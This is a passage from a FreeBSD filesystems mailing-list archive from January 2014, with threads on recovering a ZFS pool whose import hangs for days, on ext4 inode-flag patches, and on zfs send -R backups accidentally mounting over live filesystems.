VEiObWKEVoGD3umDqDxRf6G78wGkCl6VZ+XuO+8ypBrNVTJlWYFFHYSggNtdVvdttzWg Q+PQ== X-Received: by 10.194.241.228 with SMTP id wl4mr6793966wjc.2.1389855651988; Wed, 15 Jan 2014 23:00:51 -0800 (PST) Received: from [192.168.0.10] (alf94-11-82-247-6-183.fbx.proxad.net. [82.247.6.183]) by mx.google.com with ESMTPSA id f7sm5197895wjb.7.2014.01.15.23.00.50 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 15 Jan 2014 23:00:50 -0800 (PST) References: <52D71421.3030103@delphij.net> In-Reply-To: <52D71421.3030103@delphij.net> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Message-Id: X-Mailer: iPhone Mail (9A405) From: Gomes do Vale Victor Subject: Re: zpool import taking weeks ... Date: Thu, 16 Jan 2014 08:00:47 +0100 To: "d@delphij.net" Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 07:00:54 -0000 Hi, Le 16 janv. 2014 =C3=A0 00:05, Xin Li a =C3=A9crit : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA512 >=20 > Hi, >=20 >=20 > TL;DR version: no, you have to wait. However there is an alternative > if you have enough resources (hardware, etc.) to do it. >=20 > Longer version: >=20 > You would have a way better situation with newer version of FreeBSD > *and* have upgraded your pool, but for now you may have to wait. > Maxing out your RAM may be helpful (but requires a reboot, which means > you have to start over). >=20 > There is another option, assuming you have another system and enough > disks, though. What you can do is basically boot the system without > ZFS enabled, move /boot/zfs/zpool.cache to somewhere else, then load > the kernel module, then: >=20 > zdb -u -e tank ('tank' is your zpool name) >=20 > zdb -hh -e tank >=20 > This would show a history of your pool with a txg number associated. > Take a guess (yes, a guess), then try: >=20 > zdb -u -e -t tank >=20 > If the output is sane, try: >=20 > zpool import -o readonly=3Don -f -R /mnt -F -T tank >=20 > This would import your pool read-only at that txg number. Now you > should be able to copy off data from the pool (maybe via network, etc). >=20 > Newer version of ZFS does have asynchronous destroy feature, faster > destroy (can be 100x faster than previous ZFS version), as well as > improvements to limit delete transaction to take too much of I/O > bandwidth, but you can only benefit from them when you have upgraded > the pool. >=20 Thanks a lot for this info ! I have read about the "-T" option on import wit= h tgx but it was with ZFS on Linux ... Don't knew it is available on newer i= mplementation under FreeBSD. Will so wait that it ends correctly and will th= ink on upgrading on the system (the rootfs is ZFS also ...) Thanks Cheers -- Ulysse31 > Cheers, > - --=20 > Xin LI https://www.delphij.net/ > FreeBSD - The Power to Serve! Live free or die > -----BEGIN PGP SIGNATURE----- >=20 > iQIcBAEBCgAGBQJS1xQhAAoJEJW2GBstM+nsXkQP/2ezsHdR+ave3OpxZj3V94Bw > s2nWrp3JWJKm5g4VqtpdUyBDADcmPT4ULJENNt3BNCNBVexZ9bAsbGjemVcNRoHP > +IuyCEgCAPuZ/yUrwJQHhc/iD/bq08yFv7zp7HKf0/pKNJvHb3PIW8MVdpAXO8Sa > 9GSTwxk09K9d3gpP9jBTN/qvWLbjPq1vKHtJj5aJ798WVDQL9SWpJaEqt+z4rGZI > 9xy5nHYpYfzFQ+zyOpGksnfWezddghMqUfxd4KIqqiUrZSDnMH/qqF/8TAJXHk37 > SHjy+Kjuicx6XfYxxdoXcQwPL3thq7cuuWgqWVxehxY94hd43EoORMPlysucVRQe > PkXuIZYF+gkHERVg7lrTXrTsGxYdzilM7QYl43+4RaMBSRZM/6XBOoN17oZVlVjs > s2SGeRK0SD/3ldYxdM5fdyMuU5PgPT2NREIiNUjN+RNfhw/zqimvbsoBhuD0uHnY > FWgSlTT9j2oTx1ZD86nTvV6r7ikBDOOOlZoCtOy3tWkpgXHJz5NgH3yJLtZdc248 > 3m85rMeZ3ohqB5DGc7vSkweaYW4692LH8DJY0RjZbBG0W/g6zAsklOHnvI/mo/kF > St7mLp9U4JTow+02A4WSRmbPFMxxhPh1ekwDB1rcoOEBZJrPt/ki4cfwVcaZ0DxO > yB/XzKYGUz7ks2r9HcPx > =3D83LS > -----END PGP SIGNATURE----- From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 11:58:22 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1CB2AA13 for ; Thu, 16 Jan 2014 11:58:22 +0000 (UTC) Received: from mail-la0-x22e.google.com (mail-la0-x22e.google.com [IPv6:2a00:1450:4010:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 91C3D1060 for ; Thu, 16 Jan 2014 11:58:21 +0000 (UTC) Received: by mail-la0-f46.google.com with SMTP id b8so2447556lan.5 for ; Thu, 16 Jan 2014 03:58:19 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=TB+VcmG0aHtl5AXUYbMJZxjpLtYZoSUhh+2kTWWD7cY=; b=GtfIsyoGR234czWfzpt4dkAZ3S3FGZ9dAqjgJrgfiB03+zZotcnE3yXJe6EAQvHhw7 iFEtv+EszkWOlTO/x0bJqVvgOC69t1S5/lGKDA6Nn7VW77fSUXaOBAfE7CrPRGEGeUC/ ckQxifIlOa9Y5FWE13opObdvc8DjVq4b+EDhdcKtTeUNEZQLt+vUtgOZnlhAeGYsbX3d r1eeoYQF6tRmDraCHeRl7ZgJ1oiql8+pxR/DQT1BqpzegWg89Z6hQBJ03kI2I/RfH/L5 oHWJ1WEvdpg+4IPTqZxV/JlsYKYgEiUFoOjpHVMMirYCEaDoPVUCoNjJmjtAiIGZeD4N ogOQ== X-Received: by 10.152.182.235 with SMTP id eh11mr60887lac.73.1389873499570; Thu, 16 Jan 2014 03:58:19 -0800 (PST) Received: from [192.168.1.129] (mau.donbass.com. [92.242.127.250]) by mx.google.com with ESMTPSA id rb4sm4348976lbb.1.2014.01.16.03.58.18 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 16 Jan 2014 03:58:18 -0800 (PST) Message-ID: <52D7C959.9080305@gmail.com> Date: Thu, 16 Jan 2014 13:58:17 +0200 From: Volodymyr Kostyrko User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Ulysse 31 , Freddie Cash Subject: Re: zpool import taking weeks ... References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 11:58:22 -0000 15.01.2014 10:29, Ulysse 31 wrote: > Thanks for the answer. > > I was beginning to ... well ... have a little start of panic ^^' > The import still running but no real activity on disks : sometimes, > maybe something like each hour, there is some really brief led > activity on the hdd, but nothing more. > one thing that would be great is to have an overall percentage or just > counting of what is done or what is left ... for now i don't even know > if it's gonna end on the next 5 mins or on the next 5 weeks :s > So now since i have no real activity on the actual zpool import (the > last import started a week ago, it do not have go out of swap since i > added lot of swap (260G HDD swap)), should i just let it run, or make > a reboot and start over ? > Also once imported, and since i don't care about the data actually on > the incriminated dataset (the one that crashed with the > recv/rollback), I was planning to simply delete that dataset and make > a new full sync, what do you think about it ? > Thanks again for your help. You odds are grim. I had the same problem with crashed ZFS when dropping some snapshots (deduplicated ones). The situation looks like: 1. Boot. Import start. 2. Memory depletes. 3. When memory is over the process is stuck or machine crashes. In your case no crash means you are running a lil bit newer code. All of this comes in something like 15 minutes. My machine was at 4G of memory back then. I added 4G more and process successfully completed in near 20 minutes eating ~6G of mem. The culprit was deleting deduplicated snapshot worth 14G of disk space. I personally think that previous versions of ZFS tend to interpret all snapshot operations as atomic ones meaning all changes to fs should happen simultaneously thus pushing to memory: - all old dedup data that still can be accessed, - all new dedup data that should be active after the change, - all metadata of filesystem in question. I'm not a pro in this and haven't retested this situation after the recent changes with snapshots (like background deleting). But this was a final grave reason for me to stop thinking about dedup. Or at least in ZFS as I still like the way HAMMER does it. -- Sphinx of black quartz, judge my vow. From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 16:31:38 2014 Return-Path: Delivered-To: fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1ADD7132 for ; Thu, 16 Jan 2014 16:31:38 +0000 (UTC) Received: from nm43-vm5.bullet.mail.bf1.yahoo.com (nm43-vm5.bullet.mail.bf1.yahoo.com [216.109.114.236]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 896601D80 for ; Thu, 16 Jan 2014 16:31:37 +0000 (UTC) Received: from [98.139.212.151] by nm43.bullet.mail.bf1.yahoo.com with NNFMP; 16 Jan 2014 16:31:30 -0000 Received: from [68.142.230.77] by tm8.bullet.mail.bf1.yahoo.com with NNFMP; 16 Jan 2014 16:31:30 -0000 Received: from [127.0.0.1] by smtp234.mail.bf1.yahoo.com with NNFMP; 16 Jan 2014 16:31:30 -0000 X-Yahoo-Newman-Id: 723955.74139.bm@smtp234.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: SBHP2twVM1nqn8zlqpNVFQJRUMhKRUS6isR.crvuOA.z7Az 2gmnNSoE9Yp6KdZMDOHUcFUnYVtVZ85pgKeYJX39wKq2o.7Tc28qOMDft.hW RXsxI4mb7BM4AskeLIrm7JrzfJd4kd6e_OfVt7qio_0vjKT2J3MWcKe4YzMb k7.tJwSP0fbtJW_m.HTJLi7RGyGQ2A0.EWDNaCeWlS1I1Xq3_2cmC3wlE1CN KX84Zd9JCdcWhYmzDnqKgOPb8NaueRu1KnVLmEB6_FyBkmgt7A_UaDW5L0w6 oKiLi1afFEA3WVTc6dpa1nB.NGPQCNjFIF18vuVhHmgv_QFf5QIbrbwaFQvy v6TD_3b1Cn46Q5mO0H87oPio9ASogdDqUDzucml6FYIDnS6ieuYO6aLmduHf La55PTKIfd58lEmd8X2XK8LZcpFbdYqgm.JdLyEVi4IatKffUG6AGEcG.Sbv tuH6c3eYuzoDbnll5RblL6gez_RkmN5T6ls8WktN6s.0X0G4iEnOtszs0iXA iNIfR_ysfs2249bxGsi2BBBuhZi5CmTb5zSCNTIPQQ2p3elGCUkk5.Yctcbf Ea7OijrLgAaSmle9aA_jw9.PUftROzXDVQoSqgLLU_G2mXRRQ4QU2PR7XuvS QQCIB6oUgoGzOVD82Yozb1bko4g.ez1DVYh31VKsl7_rg8pAJobc- X-Yahoo-SMTP: xcjD0guswBAZaPPIbxpWwLcp9Unf X-Rocket-Received: from [192.168.0.102] (pfg@190.157.126.109 with plain [98.139.211.125]) by smtp234.mail.bf1.yahoo.com with SMTP; 16 Jan 2014 16:31:30 +0000 UTC Message-ID: <52D80961.2040102@FreeBSD.org> Date: Thu, 16 Jan 2014 11:31:29 -0500 From: Pedro Giffuni User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: fs@freebsd.org Subject: issues Ext4 inode flags Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 16:31:38 -0000 Hello; I have been working around some issues in our ext2/3/4 support and there is this problem: Before r260545 we were passing the Ext2/3/4 flags with some conversion into the inode i_flags. Since our system flags don't match the linux flags this actually introduced a lot of garbage. r260545 cut the garbage completely but it also does not pass the EXT4 flags of which we need two for our ext4 ro implementation: EXT4_EXTENTS and EXT4_INDEX. We also use EXT4_HUGE_FILE but we can read that directly from the dinode. The flags are pretty specific to Ext4 so it doesn't make sense to add them to to our stat.h and include them in the inode conversion routines. I have two options: 1- Pass only the flags that we need and clear the rest. Obviously a hack, this seems this is somewhat safer and has worked so far as it only applies to the read-only ext4. There is still some space for collision: EXT4_INDEX --> UF_READONLY EXT4_EXTENTS --> UF_HIDDEN The patch is here: http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-passinode.patch 2- Create a field in the inode specifically to carry the Ext4_* inode flags. This. of course, costs memory for a feature that is rarely used but is cleaner and may be useful if we ever add write support. The proof-of-concept patch is here: http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-inode.patch I am inclining towards option (1): it's rather hackish but it just works and I don't forsee us doing much efforts to support ext4 much better in the future. Both patches re-enable dirindex for testing purposes. Comments and testing are welcome. Pedro. From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 18:14:29 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C1E4D21 for ; Thu, 16 Jan 2014 18:14:29 +0000 (UTC) Received: from nm1.bullet.mail.ird.yahoo.com (nm1.bullet.mail.ird.yahoo.com [77.238.189.58]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E2CEE17FD for ; Thu, 16 Jan 2014 18:14:26 +0000 (UTC) Received: from [77.238.189.49] by nm1.bullet.mail.ird.yahoo.com with NNFMP; 16 Jan 2014 18:14:16 -0000 Received: from [46.228.39.100] by tm2.bullet.mail.ird.yahoo.com with NNFMP; 16 Jan 2014 18:14:16 -0000 Received: from [127.0.0.1] by smtp137.mail.ir2.yahoo.com with NNFMP; 16 Jan 2014 18:14:16 -0000 X-Yahoo-Newman-Id: 565493.37168.bm@smtp137.mail.ir2.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: pA_YWPEVM1l.pp7q_Zss_CVYa24ZnWrXNcg4vE2QR5yuynR gGxlsZx07n6TY0MQoW0lNBqnPXyFFurVAhYFAZDDUcHVN2vOMW0._E5vFyhl nr22Wdx0K8tj6rm2ACXzHp_V_frXqIdh7LPG2HEkV5VMwheBLCI33xOTxdBa SrCfJH7Os7LvVpf4.e0q21FDdsFPR3OskBgq017mPpg8MdXKta.moO3l6tTV DrPfPuMtIKr3G.le6tWmdBvk2GLaBFpRbnyG1ChfB.DeswVNQzaQKWjskUxN 0kYxvDV6TC_ibf2A9uHk2k6aQ1a7Nzzx3RWEN0EQWoMk17WP_HlzbvmlWkpZ RQ5DLAgSppHGUzcUGReKWkWl7dZ_S76gGlC2_lSMh99e743MBVQwXKWbCnVB 4Ao6nRoGlL1r5Sj7zjltVQ2sv7lESCQhfVwC.1x7AIjPQkNVzc4grtiX99Nm iYJXU5NmemlYQML9_fhggE1ig.Dw301.GSi_LJmLVa2zV00cqq6kdCdqDd0G e0AxoXx.8R_VV4Pq18ctty90y3yiXRg-- X-Yahoo-SMTP: iDf2N9.swBDAhYEh7VHfpgq0lnq. X-Rocket-Received: from [192.168.119.11] (se@84.154.112.33 with plain [188.125.69.59]) by smtp137.mail.ir2.yahoo.com with SMTP; 16 Jan 2014 18:14:16 +0000 UTC Message-ID: <52D82178.6030903@freebsd.org> Date: Thu, 16 Jan 2014 19:14:16 +0100 From: Stefan Esser User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Gomes do Vale Victor Subject: Re: zpool import taking weeks ... References: <52D71421.3030103@delphij.net> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 18:14:29 -0000 Am 16.01.2014 08:00, schrieb Gomes do Vale Victor: >> Thanks a lot for this info ! I have read about the "-T" option >> on import with tgx but it was with ZFS on Linux ... Don't knew it >> is available on newer implementation under FreeBSD. Will so wait >> that it ends correctly and will think on upgrading on the system >> (the rootfs is ZFS also ...) Just for the record, since your reply seems to imply that the -T option is only available on Linux: The -T option of zpool import has been present in FreeBSD for years, but is undocumented (same as in Solaris/OpenIndiana). It has been mentioned in some ZFS recovery guides (most written for Solaris) and it actually works quite well (I used it to recover an inconsistent pool and helped somebody else who has lost access to his ZFS file-systems). Regards, STefan From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 19:19:23 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5CCE7C59; Thu, 16 Jan 2014 19:19:23 +0000 (UTC) Received: from mail-wi0-x236.google.com (mail-wi0-x236.google.com [IPv6:2a00:1450:400c:c05::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BEDE71F68; Thu, 16 Jan 2014 19:19:22 +0000 (UTC) Received: by mail-wi0-f182.google.com with SMTP id ex4so4156992wid.15 for ; Thu, 16 Jan 2014 11:19:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:from:subject:date:to; bh=6BstMWddoZZVBop327ls5NvsMeeTG3AKhcq1Hw+c9o4=; b=chFnn2X3PFFHF475GW1qAYk3+kas6vLI/wY5FRHrRb27KhcpUxGMlfP1nx6dWIWFt9 MGF37mbh/uWZnnWQ3S/WSUnzqrk3ec7K6LW8zjfv8TGxDGerSKfqIGjX8Sx3va+3cjHP KEHT4+osxFRFFOvz+Xy6N6YC5iLWLXIAKcWFZQS59d6KY/Ds8BrsZKBTlXWIj+iNgkh/ Vl1R0MaDwNvIcHrwo8pnR0QhGxsSpg/7NXc/NzrGcToB2ZFI0AxBadRvCqo+yR/JnDHs 4nQVt56GSJb17j6AGSjEs6IyPiNdYtV8o5yC+do4/UNYYHm4nvv44MoZE52sp82uct1E AvAQ== X-Received: by 10.194.24.65 with SMTP id s1mr10167871wjf.38.1389899961232; Thu, 16 Jan 2014 11:19:21 -0800 (PST) Received: from [10.89.111.147] ([37.161.53.62]) by mx.google.com with ESMTPSA id j3sm13510969wiy.3.2014.01.16.11.19.19 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 16 Jan 2014 11:19:19 -0800 (PST) References: <52D71421.3030103@delphij.net> <52D82178.6030903@freebsd.org> In-Reply-To: <52D82178.6030903@freebsd.org> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Message-Id: <879A72E5-3F29-4AC4-A4B4-E65430800A7C@gmail.com> X-Mailer: iPhone Mail (9A405) From: Gomes do Vale Victor Subject: Re: zpool import taking weeks ... Date: Thu, 16 Jan 2014 20:18:57 +0100 To: Stefan Esser Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 19:19:23 -0000 Le 16 janv. 2014 =C3=A0 19:14, Stefan Esser a =C3=A9crit : > Am 16.01.2014 08:00, schrieb Gomes do Vale Victor: >>> Thanks a lot for this info ! I have read about the "-T" option >>> on import with tgx but it was with ZFS on Linux ... Don't knew it >>> is available on newer implementation under FreeBSD. Will so wait >>> that it ends correctly and will think on upgrading on the system >>> (the rootfs is ZFS also ...) >=20 > Just for the record, since your reply seems to imply that the -T > option is only available on Linux: >=20 > The -T option of zpool import has been present in FreeBSD for years, > but is undocumented (same as in Solaris/OpenIndiana). It has been > mentioned in some ZFS recovery guides (most written for Solaris) and > it actually works quite well (I used it to recover an inconsistent pool > and helped somebody else who has lost access to his ZFS file-systems). >=20 > Regards, STefan Sorry if you understood that. It was not what I meant. I wanted to say that I= only found one thread talking about that option (the import with the -T opt= ion) and that thread was about ZFS on Linux, and since I ain't found no ment= ion of it on the actual man of my FreeBSD version I have here, I tough it wa= s only available on newer ZFS versions (like v5000) under FreeBSD. Thanks for the info, so do you think I could use this method to recover my p= ool that is on ZFS v28 ? Also, the import is now running without crash for 8 days now, and still does= not have finished, and I do not see any revelant activity on disks, nor any= load under CTRL+T on the zpool process (sometimes goes to 0.16/0.08 but qui= ckly returns to 0.00 and stays there a while) do you think I should interrup= t it, reboot and restart again ? Or directly test with the -T option ? Thanks a lot for the help. Regard, -- Ulysse31= From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 19:28:56 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 14279EE3; Thu, 16 Jan 2014 19:28:56 +0000 (UTC) Received: from mail-ob0-x235.google.com (mail-ob0-x235.google.com [IPv6:2607:f8b0:4003:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BC60A1067; Thu, 16 Jan 2014 19:28:55 +0000 (UTC) Received: by mail-ob0-f181.google.com with SMTP id uy5so3266632obc.40 for ; Thu, 16 Jan 2014 11:28:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=WLAhRdnSAYoXgXkLBCvcwbKzGP7LQuKds10TFhQawvo=; b=SuG3OOwlqjx01quXvu8H5+cMJxQtIb6Le9Cq+Llj1uT+hNmzFT4cHchFjedDi2UIdn L0LK9Zu1tvYhisk34MEGt2jxmhPMvOXm/YRIW5B5D3Pgaa60o44iIePtfqGv8w/Keyh0 1Oi9JKca0tDcMMkQkZNJLCDYkDbQGCgDAqnqAGww3kFKvIxbRcruh8PZH9oAqAEFGJcb Vm02h9LDq7Mviw5YFmIoZ74mjmaf2/BQx4unFjeSs1qsohbdCOFwGf+Jp+7SVtWjo6eH 5IDNmn83XwTPqEpK7M4IYl4CGL1pKIHs1XAnG1dXs60kiGHr0bzY4bNaMFVUw0RQfKst Q4xQ== MIME-Version: 1.0 X-Received: by 10.182.18.102 with SMTP id v6mr2492146obd.71.1389900534926; Thu, 16 Jan 2014 11:28:54 -0800 (PST) Received: by 10.76.132.9 with HTTP; Thu, 16 Jan 2014 11:28:54 -0800 (PST) In-Reply-To: <879A72E5-3F29-4AC4-A4B4-E65430800A7C@gmail.com> References: <52D71421.3030103@delphij.net> <52D82178.6030903@freebsd.org> <879A72E5-3F29-4AC4-A4B4-E65430800A7C@gmail.com> Date: Thu, 16 Jan 2014 11:28:54 -0800 Message-ID: Subject: Re: zpool import taking weeks ... From: Freddie Cash To: Gomes do Vale Victor Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Filesystems X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 19:28:56 -0000 On Thu, Jan 16, 2014 at 11:18 AM, Gomes do Vale Victor wrote: > > Le 16 janv. 2014 =C3=A0 19:14, Stefan Esser a =C3=A9crit= : > > > Am 16.01.2014 08:00, schrieb Gomes do Vale Victor: > >>> Thanks a lot for this info ! I have read about the "-T" option > >>> on import with tgx but it was with ZFS on Linux ... Don't knew it > >>> is available on newer implementation under FreeBSD. Will so wait > >>> that it ends correctly and will think on upgrading on the system > >>> (the rootfs is ZFS also ...) > > > > Just for the record, since your reply seems to imply that the -T > > option is only available on Linux: > > > > The -T option of zpool import has been present in FreeBSD for years, > > but is undocumented (same as in Solaris/OpenIndiana). It has been > > mentioned in some ZFS recovery guides (most written for Solaris) and > > it actually works quite well (I used it to recover an inconsistent pool > > and helped somebody else who has lost access to his ZFS file-systems). > > > > Regards, STefan > > Sorry if you understood that. It was not what I meant. I wanted to say > that I only found one thread talking about that option (the import with t= he > -T option) and that thread was about ZFS on Linux, and since I ain't foun= d > no mention of it on the actual man of my FreeBSD version I have here, I > tough it was only available on newer ZFS versions (like v5000) under > FreeBSD. > Thanks for the info, so do you think I could use this method to recover m= y > pool that is on ZFS v28 ? > Also, the import is now running without crash for 8 days now, and still > does not have finished, and I do not see any revelant activity on disks, > nor any load under CTRL+T on the zpool process (sometimes goes to 0.16/0.= 08 > but quickly returns to 0.00 and stays there a while) do you think I shoul= d > interrupt it, reboot and restart again ? Or directly test with the -T > option ? > I'd try a reboot to restart the process. Let it run for a day. If you still aren't seeing any disk activity, then try the -T and/or the -F import options.=E2=80=8B=E2=80=8B --=20 Freddie Cash fjwcash@gmail.com From owner-freebsd-fs@FreeBSD.ORG Thu Jan 16 19:54:46 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8A8A79B4; Thu, 16 Jan 2014 19:54:46 +0000 (UTC) Received: from luigi.brtsvcs.net (luigi.brtsvcs.net [IPv6:2607:fc50:1000:1f00::2]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5EDE612DB; Thu, 16 Jan 2014 19:54:46 +0000 (UTC) Received: from chombo.houseloki.net (c-71-236-222-167.hsd1.wa.comcast.net [71.236.222.167]) by luigi.brtsvcs.net (Postfix) with ESMTPSA id 655722D4FAE; Thu, 16 Jan 2014 11:54:44 -0800 (PST) Received: from [IPv6:2601:7:880:bd0:c59a:a6c:f5b:2771] (unknown [IPv6:2601:7:880:bd0:c59a:a6c:f5b:2771]) by chombo.houseloki.net (Postfix) with ESMTPSA id 3B7EC280; Thu, 16 Jan 2014 11:54:42 -0800 (PST) Message-ID: <52D83909.3080809@bluerosetech.com> Date: Thu, 16 Jan 2014 11:54:49 -0800 From: Darren Pilgrim User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: freebsd-fs , freebsd-questions Subject: How to use zfs send -R without risking union mounts? Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jan 2014 19:54:46 -0000 When you send -R a filesystem, it very nicely retains all of the properties. That also includes the mountpoint property. Setting canmount=off is the only safeguard against mounting a filesystem accidentally and it can't be inherited. That means it's rather dangerous to send -R the filesystems on which the OS reside. I want to create a backup using a process like: Create the initial full backup: zpool create backup /dev/gpt/backup zfs create backup/tank zfs send -R tank@yesterday | zfs recv -F backup/tank zpool export backup Then do incremental backups: zpool import -N backup zfs send -R -I tank@yesterday tank@today | zfs recv -F backup/tank zpool export backup The problem I ran into is zfs can mount the contents of backup/tank. Normally if you try to mount a ZFS filesystem at a non-empty directory, it gives the error: mountpoint '/foo' exists and is not empty During testing, I inadvertently dropped the -N flag to zpool import and ZFS successfully mounted everything on the backup drive over top of the live systems! I had two mounts for /, /var, /usr, /home, etc. Imagining the hell of that happening in production, with active filesystems, is an exercise for the reader. How do you force ZFS to never automatically mount a filesystem or any of its descendants? You can't recursively set properties and canmount can't be inherited, so I'm stuck on how to enforce this critical bit of safety. From owner-freebsd-fs@FreeBSD.ORG Fri Jan 17 02:07:27 2014 Return-Path: Delivered-To: fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D3F41F2B; Fri, 17 Jan 2014 02:07:27 +0000 (UTC) Received: from chez.mckusick.com (chez.mckusick.com [IPv6:2001:5a8:4:7e72:4a5b:39ff:fe12:452]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B45E21F87; Fri, 17 Jan 2014 02:07:27 +0000 (UTC) Received: from 